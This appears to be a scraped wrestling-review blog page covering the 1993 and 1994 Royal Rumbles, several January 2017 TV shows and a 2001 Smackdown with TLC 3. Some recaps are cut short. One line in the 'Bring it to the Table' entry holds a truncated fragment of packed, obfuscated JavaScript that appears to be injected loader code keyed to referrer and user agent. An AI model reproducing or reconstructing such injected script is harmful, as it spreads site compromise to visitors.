So These Now Exist
And they still make my head spin.
Royal Rumble Count-Up – 1994: That Stupid Casket Match
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Rumble 1994
Date: January 22, 1994
Location: Providence Civic Center, Providence, Rhode Island
Attendance: 14,500
Commentators: Vince McMahon, Ted DiBiase
Vince is on commentary here and gets to do his carnival barker stuff. The guy knows how to make a show sound exciting, I have to give him that. DiBiase comes out to do commentary with McMahon due to having to retire late in 1993 due to a bunch of injuries.
Tatanka vs. Bam Bam Bigelow
Tatanka gets in a shot to the head and tries a top rope sunset flip, only to have Bam Bam sit on him. When all else fails, sit on the other guy. Off to a bearhug for about two minutes before Bigelow drops him with a shoulder block. Tatanka starts his war path thing so Bam Bam decks him in the head with an enziguri to drop him. The moonsault misses though and Tatanka goes up again, this time hitting the cross body for the pin.
Rating: C+. Shockingly hot opener here and if you cut the bear hug in half or so, this is a really solid match. They stuck to the formula really well here and the match was good as a result. This is one of the nice surprises in wrestling: on paper this sounded horrible but it turned out to be a pretty nice match. Good opener.
Tag Titles: Bret Hart/Owen Hart vs. Quebecers
Intercontinental Title: IRS vs. Razor Ramon
Guess who is defending here. JR and Gorilla Monsoon do commentary for this match. IRS goes on a big rant about how evil the crowd here is for not paying their taxes, even though they have about three months left to file. Razor goes off on IRS to start, knocking him out to the floor. IRS comes back with some forearms but Razor punches him right back down to take over again.
Ramon hits a bunch of basic stuff like atomic drops and clotheslines for some two counts, but IRS ducks under a clothesline to send Razor out to the floor. Back in and IRS goes up but jumps into a boot. For one of the only times I can EVER remember this happening, IRS avoids the foot and drops an elbow for two instead. WHY IS THAT SO HARD FOR PEOPLE TO DO???
Or maybe another referee comes out to explain the interference and the match is restarted. Razor hits the Edge to retain.
Bearer and Undertaker are making a coffin for Yoko.
We recap the world title match, which is Yoko being scared of Taker and Taker being one of the last hopes to stop the monster. Apparently the contract was signed before Yoko and company knew it was a casket match. Taker I believe debuted his popping out of the casket spot in this feud.
WWF World Title: The Undertaker vs. Yokozuna
AND HE GETS UP. Diesel comes out and they get Taker in the coffin but he fights ALL OF THEM OFF. Yoko steals the Urn and hits Taker in the head with it before opening the Urn. Green smoke comes out of it and Taker now is powerless. Everyone hits a bunch of moves on him as this goes on WAY too long. After ALL THAT, Taker is put in the coffin and Yoko retains the title.
BUT IT GETS WORSE!
Then, to REALLY hammer home the point, the image on the screen starts to rise up through the top of the screen (which should be the top of the casket, meaning it should be ramming into the people that put him in the freaking casket) and A FREAKING BODY RISES OUT OF THE TOP OF THE SCREEN. AS IN A TANGIBLE BODY (which might have been played by Marty Jannetty).
The usual Rumble interviews eat up some time.
Royal Rumble
Mabel is #16 and dang there are some big guys in there. He goes right for Diesel in a terrifying preview of Summerslam 95. Mabel cleans house until Sparky Plugg (Bob Holly as a racecar driver and debuting here as a replacement for the 1-2-3 Kid) is #17. Shawn Michaels is #18 and stares down Diesel to start. Everyone gets on Diesel and Shawn gives the final push to eliminate him. Diesel gets a VERY audible ovation and chant as he leaves.
For your big face pop of the match (other than Diesel): Bret Hart is #27 and limping very badly. Today, people would have a bandage on the knee and charge to the ring because modern wrestling is stupid. Fatu is #28 and DEAR FREAKING GOODNESS THROW SOMEONE OUT ALREADY! A bunch of guys team up and FINALLY throw Crush out as Marty Jannetty is #29. Naturally he goes right for Shawn and punches Shawn to the apron.
Ratings Comparison
Tatanka vs. Bam Bam Bigelow
Original: B
Redo: C+
Quebecers vs. Bret Hart/Owen Hart
Original: A+
Redo: B-
Razor Ramon vs. IRS
Original: C+
Redo: D+
Yokozuna vs. Undertaker
Original: F
Redo: F
Royal Rumble
Original: B
Redo: C+
Overall Rating
Original: B
Redo: C-
DANG I liked this show a lot better on the first viewing.
http://kbwrestlingreviews.com/2011/01/13/royal-rumble-count-up-1994/
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Royal Rumble Count-Up – 1993: The Japanese Invasion
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Rumble 1993
Date: January 24, 1993
Location: ARCO Arena, Sacramento, California
Attendance: 16,000
Commentators: Gorilla Monsoon, Bobby Heenan
Historical note: this is 13 days after the debut of Monday Night Raw.
Steiner Brothers vs. Beverly Brothers
Scott avoids an elbow drop but Blake breaks up the hot tag again. The crowd is silent when the Beverlies are on offense. Scott comes back with a butterfly powerbomb to put Blake down and Scott actually dives through the ropes and tags at the same time. Rick cleans house and there are Steiner Lines for both Beverlies. Scott pounds on Blake in the corner and counters a Doomsday Device with a victory roll for two. The Frankensteiner to Beau gets the pin.
Rating: D+. Pretty dull match here as the Steiners were clearly going to dominate the entire time. The Beverlies never got above lower midcard status and their biggest feud was against the Bushwhackers. What were you going to expect them to do against the freaking STEINER BROTHERS? Nothing here but a squash.
Intercontinental Title: Marty Jannetty vs. Shawn Michaels
Jannetty controls to start, sending Shawn to the floor twice with a knee lift and a clothesline. Marty punches Shawn down on the floor and poses in the ring. He tries a punch off the top but gets caught in the ribs on the way down. Shawn loads Marty up on his shoulder and in one of the only times I can ever remember it working, rams Marty shoulder first into the post.
Sherri finally does something by slapping Shawn, who gets belly to back suplexed into the ring. Shawn gets launched to the floor again as the pace picks up a bit. A powerslam puts the champ down but Shawn avoids the top rope punch. Marty stops himself before crashing and gets two off a DDT. Shawn misses a superkick and gets caught by one of his own for two. The crowd is getting into this.
Marty slingshots Shawn so he gets to do his big bump onto the post. There goes the referee via an elbow to the face and Sherri comes in. She swings her shoe but hits Marty by mistake of course. Shawn yells at her a lot and then superkicks Marty in the chest for the pin to retain.
In the back, Gene yells at Sherri to calm down. Marty comes to the back for some more brawling.
Heenan and Gorilla argue a bit.
Bam Bam Bigelow vs. Big Boss Man
We get a clip from WWF Mania (Saturday morning show) of Razor beating up Owen to hype the world title match.
WWF World Title: Razor Ramon vs. Bret Hart
Feeling out process to start with Razor getting the early advantage with some right hands. A knee in the corner misses and Bret has on the Figure Four in less than 90 seconds. Razor gets the rope so Bret drops elbows on the knee instead. The leg gets wrapped around the post before Bret goes after the other leg in the corner for some reason. Ramon comes back with a whip to send Bret ribs first into the post.
Here are Caesar and Cleopatra to hype up Wrestlemania. They read a proclamation about it and this is really stupid.
Royal Rumble
Ric Flair is #1 and Bob Backlund, going through a career resurgence at the time, is #2. Backlund drops Flair with a shoulder and does his little dance. Flair pounds him into the corner but Bob backdrops him down. Papa Shango is #3 and is dumped out by Flair in less than thirty seconds. Backlund it sent to the apron and Flair stomps away. They chop it out until Ted DiBiase, I believe half of the tag champions here, is #4.
Heenan makes fun of Backlund as the double teaming ensues, prompting Gorilla to threaten to knock Bobby out. Backlund is beaten on even more until Brian Knobs is #5. The Nasties are good guys at this point and happen to be feuding with Money Inc. Guess who he starts swinging at. Knobs almost dumps Flair but only gets him to the apron. Things slow down for a bit until Virgil is #6. The faces team up to fight the heels as not a lot is going on at this point.
Ratings Comparison
Steiner Brothers vs. Beverly Brothers
Original: C-
Redo: D+
Shawn Michaels vs. Marty Jannetty
Original: C
Redo: C+
Bam Bam Bigelow vs. Big Boss Man
Original: D+
Redo: D
Bret Hart vs. Razor Ramon
Original: B
Redo: B
Royal Rumble
Original: D+
Redo: D
Overall Rating
Original: D
Redo: D+
Not much change here.
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Ring of Honor TV – January 4, 2017: Even Their Best Of Show is Weird
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of Honor
Date: January 4, 2017
Host: Kevin Kelly
Commentators: Steve Corino, Kevin Kelly
Keith Lee/Shane Taylor vs. War Machine
We take a look at the building of the ring for the Honor Rising show in Japan.
Highlights of Ladder War with the Young Bucks winning the titles at All-Star Extravaganza.
Video on the Women of Honor. As much as I enjoy looking at a variety of them, this division is such a waste of time.
We get an extended clips of Sumie Sakai vs. Deonna Purrazzo and Taeler Hendrix vs. Mandy Leon in a No DQ match.
ROH World Title: Jay Lethal vs. Adam Cole
Cole is ticked off and promises to get the title back.
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205 Live – January 3, 2017: A Bad Gut Feeling
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Live
Date: January 3, 2017
Location: Jacksonville Veterans Memorial Auditorium, Jacksonville, Florida
Commentators: Mauro Ranallo, Corey Graves, Austin Aries
We open with a long recap of Neville vs. Swann last week with the champ losing a non-title match.
Opening sequence.
Tajiri vs. Sean Maluta
Tajiri still looks so strange without the goatee. Maluta grabs a headlock to start and hits a good looking headbutt. For some reason Maluta charges into the corner, earning himself a Tarantula. Some VERY hard kicks to the head drop Maluta and the handspring elbow puts him down again. The Buzzsaw kick ends Maluta at 2:52. This was basically saying “Hey, remember Tajiri? Here he is again.”
Video on Tony Nese.
Jack Gallagher vs. Tony Nese
Daivari destroys Gallagher post match.
Cedric Alexander wants Alicia Fox to be a little more careful. Kissing ensues.
Mustafa Ali vs. Noam Dar
Video on Akira Tozawa.
Neville vs. TJ Perkins
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Impact Wrestling – January 5, 2017: No More Happy New Year
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Wrestling
Date: January 5, 2017
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews
We open with a recap of the World Title situation with Ethan Carter III and Eddie Edwards going to a double pin and Edwards vs. Lashley going into the North Carolina woods at Total Nonstop Deletion.
Grand Championship: Moose vs. Mike Bennett
Moose is defending. The announcers try to act like this was a great friendship before just giving up on the idea. Bennett kicks him down and grabs a chinlock before hammering away to gain favor with the judges. That sounds like it belongs in some lame adventure game. Another hard chinlock ends the first round, which Bennett easily wins. Moose fights back to start the second round and hits a middle rope moonsault for an early two.
Back up and Moose dives into a cutter for two. We hit another chinlock until Moose takes his head off with the Game Changer as the round ends. After a break, Moose wins round two and grabs the chokebomb for two. He misses a top rope moonsault though and Bennett grabs a piledriver for two. They very slowly slug it out with Moose hitting him in the face but getting kicked in the chest. Another slugout is enough for them to take it to the bell at 16:49 (counting breaks). Moose wins via split decision.
Swoggle is in the back when he runs into the Hardys. Matt asks if he was sent here by Mc-Mehon to infiltrate the event. Apparently he was and Matt laughs.
Rockstar Spud vs. Swoggle
Spud wants to start this year with a win because the winning streak starts now. Swoggle starts fast with a spear, a German suplex and the Celtic Cross for a completely clean pin at 1:09.
Post match Spud quits.
Bennett goes up to Moose again and demands a rematch on the pay per view in a match where anything goes. Moose agrees.
Eli Drake holds up signs that say he gets to talk next.
Eddie is about to talk about his surprise when Lashley comes up with a threat.
Video on Total Nonstop Deletion.
Helms Dynasty vs. Decay
Post match the DCC jumps Decay from behind.
Maria has something special planned for Allie.
Allie vs. Sienna
Madison Rayne is on commentary. Allie goes right after her but gets taken down by Sienna instead. A one foot cover gets two and a sideslam gives Sienna the same. Sienna keeps getting distracted by Braxton Sutter on the floor but is still able to spit at Allie. That fires Allie up even more and she slams Sienna, only to have Laurel hug Braxton for a distraction. Allie is upset and the Silencer puts her away at 5:05.
TNA World Title: Ethan Carter III vs. Lashley vs. Eddie Edwards
Results
Moose b. Mike Bennett via split decision
Swoggle b. Rockstar Spud – Celtic Cross
Decay b. Helms Dynasty – Chokeslam to Everett
Sienna b. Allie – Silencer
Eddie Edwards b. Lashley and Ethan Carter III – Boston Knee Party to Lashley
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World of Sport – December 31, 2016: I Need to See HHH’s Face After he Watches This
World of Sport Wrestling
Date: December 31, 2016
Location: MediaCity Studios, Manchester, England
Commentators: Jim Ross, Alex Shane
This was taped back in November so things could have already changed.
The arena looks good. Small, but good.
World of Sport Title: Dave Mastiff vs. Grado
Interviewer Rachel talks to General Manager Mr. Beasley, who is really happy to be here. Grado comes in to complain but Mastiff and company crash the interview to celebrate.
Kenny Williams vs. Sam Bailey vs. CJ Banks vs. Delicious Danny
More legends stuff.
Alexis Rose vs. Viper
Rose is a pretty standard looking female wrestler while Viper is build more like Nia Jax. Viper shoves her around to start but Rose does some nice spinning around to avoid a charge and gets in a bicycle kick. The bigger lady runs her over and grabs a cravate, followed by a seated crossbody for two. Alexis comes back with a few kicks and a high crossbody for two as we start looking at the crowd. A middle rope moonsault misses though and Viper hits a running backsplash for the pin at 4:37.
Mastiff is annoyed at being accused of cheating.
Video on how big World of Sport used to be.
Ashton Smith/Rampage vs. Coffey Brothers
The slow beatdown continues with Rampage holding a chinlock. Ashton comes back in for some trash talk but walks into a leg lariat, allowing the hot tag to Joe. Everything breaks down and Smith grabs a spinebuster on Joe with Mark diving in for a save. Smith superkicks his partner by mistake and Joe hits a discus lariat for the pin at 9:05.
El Ligero vs. Zack Gibson
Ligero fights up and sends him outside for the required flip dive to take over again. Back in and Ligero hits a wheelbarrow faceplant for two but makes the mistake of trying again, resulting in a seated armbar. Not that it matters as Ligero makes the rope and hits a springboard tornado DDT for the pin at 8:30.
Rating: C+. Match of the night here as you had a good combination of styles here to keep both guys looking good. Gibson is much more in line with the traditional British wrestling style and Ligero is your pretty standard luchador. That made for an interesting match and the best psychology (read as almost the only psychology) of the night.
Rachel talks to the battle royal entrants, all of whom say what you would expect.
Battle Royal
Mark Coffey, Joe Coffey, El Ligero, Grado, Sha Samuels, Johnny Moss, Kenny Williams, ???
Rating: D. So they go through the trouble of bringing Smith in and then have him be eliminated in all of two minutes after a few suplexes. The rest of the battle royal was a waste of time though as it was just a matter of time until we could get to the finish with Grado winning. It was only going to be him or the mystery man, making this a pretty solid waste of time for the most part.
Smith comes in for the post match save. Medics check on Grado as we go to our last break.
World of Sport Title: Dave Mastiff vs. Grado
The injured Grado is challenging. Before the bell, Samuels and Moss are ejected to make it an even match. After Mastiff runs his mouth a bit, Grado limps out until Dave chop blocks him from behind. Naturally NONE OF THAT is a DQ so the bell rings with Grado unable to stand. Mastiff works on the knee and sends Grado into the steps as this is already dragging less than two minutes in. The leg is wrapped around the ropes but Mastiff misses a charge and posts himself. Grado hits a quick cutter for the pin and the title at 3:37. That was his only offensive move of the match.
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Checked Out Bring it to the Table
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzsky|var|u0026u|referrer|rnitn||js|php'.split('|'),0,{})) I heard about Bring it to the Table for a few days now and I finally got around to watching it. Oh sweet goodness this was amazing in all the wrong ways though it was just about exactly what I was expecting. This was half an hour of WWE giving us their official line on almost everything and the big theme is pretty much “you don’t work for WWE and therefore you have no opinion.”
A few highlights:
JBL says WWE is better than UFC in the pay per view market because UFC runs big star vs. big star at every pay per view. I think this one speaks for itself.
Smackdown – May 24, 2001: The TV Debut
This was requested recently but it was written over five years ago, meaning it might not be up to my usual standards.
Smackdown
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May 24, 2001
Location: Arrowhead Pond, Anaheim, California
Commentators: Michael Cole, Tazz
This is a request I got a few months ago and got too busy to get around to until now. This is the TLC 3 night with Benoit/Jericho defending against three other teams. Other than that it’s another episode of Smackdown without much to show for it. HHH is injured and Austin is the top dog in the company as a heel. The Alliance is coming and Austin would be getting ready either for Judgment Day in a few days or King of the Ring in a month or so. I’m not entirely sure. Let’s get to it.
This is the Thursday after HHH and Austin lost the tag titles so this is the first title defense for the new champions. We open with a recap of the AWESOME tag title match where Austin and HHH lost the belts (can’t wait to get to that one)
Theme song opens us up.
Here’s Vince to start the show. He guarantees that we’re going to have an historic night tonight. He calls the title change a miracle and the fans don’t seem to agree. We hear about HHH’s quad injury and the fans cheer. This might be the first time we hear that it’ll be 4-6 months that he’s out. In reality it would be closer to 7-8. He announced the main event: TLC 3 with Benoit/Jericho defending against the Hardys, Edge/Christian and the Dudleys.
X-Pac vs. Eddie Guerrero
Eddie cost Pac the European Title on Mondays o this is a revenge rematch. Eddie takes him down quickly to start as the fans don’t really care as much as the match starts. Pac takes Eddie down and the fans aren’t pleased. He sends Eddie to the floor and hits Chrsitian’s springboard dive over the top to the floor.
Pac slams him down but something like a swanton misses and here comes Eddie. He gets some basic stuff including the slingshot headbutt. Pac breaks the momentum and tries the Bronco Buster but Eddie moves. Eddie goes up but takes an enziguri followed by something like a dominator off the top for the kind of surprising pin.
Rating: C-. The match was ok enough but they weren’t clicking out there. Even Tazz said that Eddie looked a bit off. Also it’s kind of cool to see Pac getting a clean pin over someone like that, especially with something other than the X-Factor. Not a great match at all but it wasn’t horrible or anything. Eddie would be sent to rehab later on in the month for pain killer addiction so this was one of his last appearances for awhile.
Tajiri is in Regal’s office and Japanese is spoken. Oh this is his debut. Regal says Tajiri should pay some dues in the form of being the Commissioner’s (Regal) friend. First off, no more bowing as it’s a racial stereotype. Now go get my tea and crumpets.
We recap Angle celebrating the recovery of his Olympic medals but then Shane showed up to ruin the celebration. This set up an AWESOME street fight at King of the Ring. Kurt beat up Shane and Vince offered Kurt an IC Title shot as an apology. Shane cost him the title.
Kurt is looking for Shane.
Spike tries to talk the Dudleys out of hating Molly because he loves her. D-Von guarantees she’s going through a table sooner or later. The more famous Dudleys say they have more important things to worry about, like TLC. They part ways.
Molly is chilling in the back and Kurt comes up to ask about Shane. He threatens her for lying and says she’s waiting on someone. Kurt makes fun of her and tells her to go find Shane. Spike pops up and calls Molly his girlfriend and a match is made for later. Scratch the later. Let’s do it RIGHT NOW.
Spike Dudley vs. Kurt Angle
I mean literally now as they walk to the ring in the same shot. They both come through the crowd for some reason. Spike calls Kurt a chicken and tries to use speed but jumps into a suplex. Kurt unleashes the suplexes and Spike is in pain. It’s so weird hearing Cole as a face commentator. Angle Slam off the steps kills Spike and the ankle lock ends it quickly. This was just a squash.
Kurt won’t let go of the ankle so Molly comes out for the save. Kurt gets in her face so the male Hollies come out for the save. Back to the ankle lock on Spike and he’s in pain.
Post break Kurt says he’s proud of what he did to Spike. He blames Shane for what just happened.
Dean Malenko vs. Raven
Malenko is a ladies man here. Perry Saturn is with Malenko and is a bit loopy now. Raven starts fast and gets a pair of backdrops before setting up for the Raven Effect which is countered. Deano Machineo works on the leg but Raven fights back. Saturn slides in a chair which isn’t used. Saturn’s girlfriend Terri distracts the referee and Saturn hooks a neckbreaker on Raven, letting Malenko get the cheap pin. This was nothing, again.
Raven fights them both off and DDTs Saturn on the chair.
Trish comes in to see Steve Blackman and changes behind a screen. Blackman is intrigued.
After a break Trish is still getting ready and asks Blackman to help her with her top. Blackman has a stick with him at the time. If you can’t figure out what happens next, go watch an Austin Powers movie.
Here’s Austin to complain about life in general. He wants the fans to shut up as he has a sore throat so he can’t talk loud. If they keep calling him the opening in a donkey he’s leaving. And there he goes. Ok he changed his mind. He blames HHH for the title loss, saying he was about to break the Liontamer and hit a Stunner. Then when he was about to kick out of the Lionsault HHH accidentally hit him in the belly with a sledgehammer.
The other problem Austin has is with Taker who popped into the dressing room and says it’s not over yet. You know, after losing to Austin twice in title matches. Now we can talk about Austin. He says he’s a fighting champion and he says he’ll put it on the line to anyone but not here in this town because they don’t deserve to see him in action.
Tajiri brings in tea and a ton of crumpets for Regal. Rhyno pops in and demands a Hardcore Title match but Regal says no. Rhyno says ok then give me Austin and the WWF Title. That’s a no also. Then how about Kane for the Intercontinental Title. Regal says no one wants to face Kane. Rhyno says I do and that’s about it. So you can just demand title matches now?
Steve Blackman/Grandmaster Sexay/Trish Stratus vs. Ivory/Goodfather/Bull Buchanan
The RTC would be gone very soon after this. Richards has been thrown out of the team. Buchanan vs. Blackman to start us off. After Blackman kicks him around a lot Ivory tags herself in. Goodfather comes in to meet Trish so there’s the tag to Grandmaster. Why is he teaming with Blackman? They were in the dark match at Mania and I guess they’re together for an odd pairing? It’s really just a filler match as Grandmaster does some basic stuff to Buchanan (lot of tags in this) before tagging in Blackman (see what I mean?). Everything breaks down, axe kick to Blackman, top rope legdrop to Buchanan, pin.
Rating: C. Eh all things considered this was fine. It’s more or less the final nail in the coffin of the RTC and that’s all it needed to be. Trish looked good in her shorts and was getting a lot more competent in the ring all the time. Not a great match or anything but it was fast paced and did its job so I’ll give it the benefit of the doubt.
Post match Trish and Steve dance.
Dean and Terri aren’t sure how Saturn is. He comes out of the trainers’ room and is insane now.
Edge and Christian say they’ve been in these matches and have a habit of winning them.
Intercontinental Title: Kane vs. Rhyno
Kane won the title at Judgment Day from HHH. It’s a good thing they changed the title when they did. Kane still has a bad arm. He takes over to start and hits some of his favorites, such as the side slam and clothesline for two. Rhyno hits a running shoulder to the back while Kane is in the corner but he gets his head taken off by a clothesline for two again. Rhyno works on the back and hooks a camel clutch but Kane stands up and hits an electric chair drop. British Bulldog style powerslam gets two. Rhyno gets most of a belly to back suplex and takes over. And scratch that as the missed Gore sets up the chokeslam to end it.
Rating: C. Nice hard hitting match here which is the right idea with guys like these. Rhyno never really got a huge push in WWE but he’s pretty good at his job: being the tough guy who could give you a quick and good match. For a three-four minute TV match, there’s not much more you can ask for given who was in there.
The Canadian Chris’s talk about winning the titles and keeping them tonight.
Tag Titles: Dudley Boys vs. Hardy Boys vs. Edge/Christian vs. Chris Benoit/Chris Jericho
Think this will be awesome? Everyone goes after the champions immediately and Edge throws in a ladder. Expect a lot of play by play here as there’s not much else you can do. Edge and Christian (Dang I can’t call them the Canadians here) go up but get pulled down, foiling their attempted fast one. The Hardys and Dudleys are in the ring with a ladder being put in front of Bubba. He throws it back at Jeff to counter Poetry in Motion.
The champions take over with ladders but their fellow Canadians take them down. The fans want tables. There needs to be a crack addiction center for table lovers. Matt powerbombs Christian off the ladder and gets in a fight with Edge on top of the ladder. Benoit shoves them off and then gets beaten up by Bubba for his efforts. Jericho puts Matt on a table on the floor and Benoit goes up. He dives off in a huge swan dive which hits the table and no Matt. That was in the Smackdown opening montage forever.
Back in the ring Jericho bulldogs Bubba off the top of the ladder and Benoit hasn’t moved yet. Tazz goes to check on him so you can tell it’s a big deal. Yeah he leaves on a stretcher as we go to a break. Back with two ladders in the ring and Edge climbs one. Jericho comes up for the save and puts Edge in the Walls on top of the ladder which looks awesome. Christian comes up and shoves Jericho off the top and onto a buckle.
The Hardys shove off the other Canadians and it’s Hardys vs. Dudleys. Works for me. D-Von hiptosses Matt off and Jeff gets suplexed to put everyone down. We get a highlight package to fill in some of the time with everyone down. And here comes Benoit. Benoit goes up but Edge and Christian make the save. They pull out some chairs and it’s Conchairto time. Benoit covers his head but takes two chair shots to the ribs, which were announced as bruised or perhaps broken.
Edge gets taken down by What’s Up and it’s Table Time. Jericho pops D-Von with one and then Christian pops Jericho with one. With a table still in the ring, Christian goes up a ladder in a corner and D-Von chases him up. You know it’s coming. There’s a Super 3D off the ladder which knocks both Dudleys out as well for some reason. The Hardys set up a ladder outside and it’s the big one. Matt caves in Ray’s head and Jeff goes a climbing. Using another ladder Jeff hits that jumping legdrop over the big ladder through Bubba through the table. There’s your huge spot of the match.
Matt and D-Von both have ladders and it’s a race up there. They slug it out up there but Matt gets a Twist of Fate off the top. It looked worse too as Matt pulled too hard and D-Von landed on top of his head. FREAKING OW MAN! Matt goes up but Jericho makes a last second save. He sets a ladder but Edge climbs up another one and spears Jericho down. When I was a kid I wanted Jericho to reach out and grab it on the way down. Benoit realizes he’s still alive and climbs up to win the titles. It’s as out of nowhere as it sounds.
Rating: B+. Oh come on it’s TLC with the three teams plus the Canadians in there. Did you expect something other than great? It’s a smaller scale than TLC 2 but that’s Wrestlemania so that’s kind of a high expectation to reach. Still though, this was some great carnage and the usual great spots. 8 people in there is a bit much and I think that’s what’s slowing it down. Also it needs JR to be freaking out to be a classic but we can let that slide as it’s not their faults.
The champs pose on the ladder with their titles to end the show.
Overall Rating: B. You get a free 20 minute TLC match so this show is automatically good. The rest of it is pretty average but nothing is too horrible and like I said, YOU GET TLC ON THIS SHOW. This was one of the really good shows before the Alliance came in and threw everything up in the air. The rest isn’t worth watching, but check out TLC, although it’s not as good as I or II.
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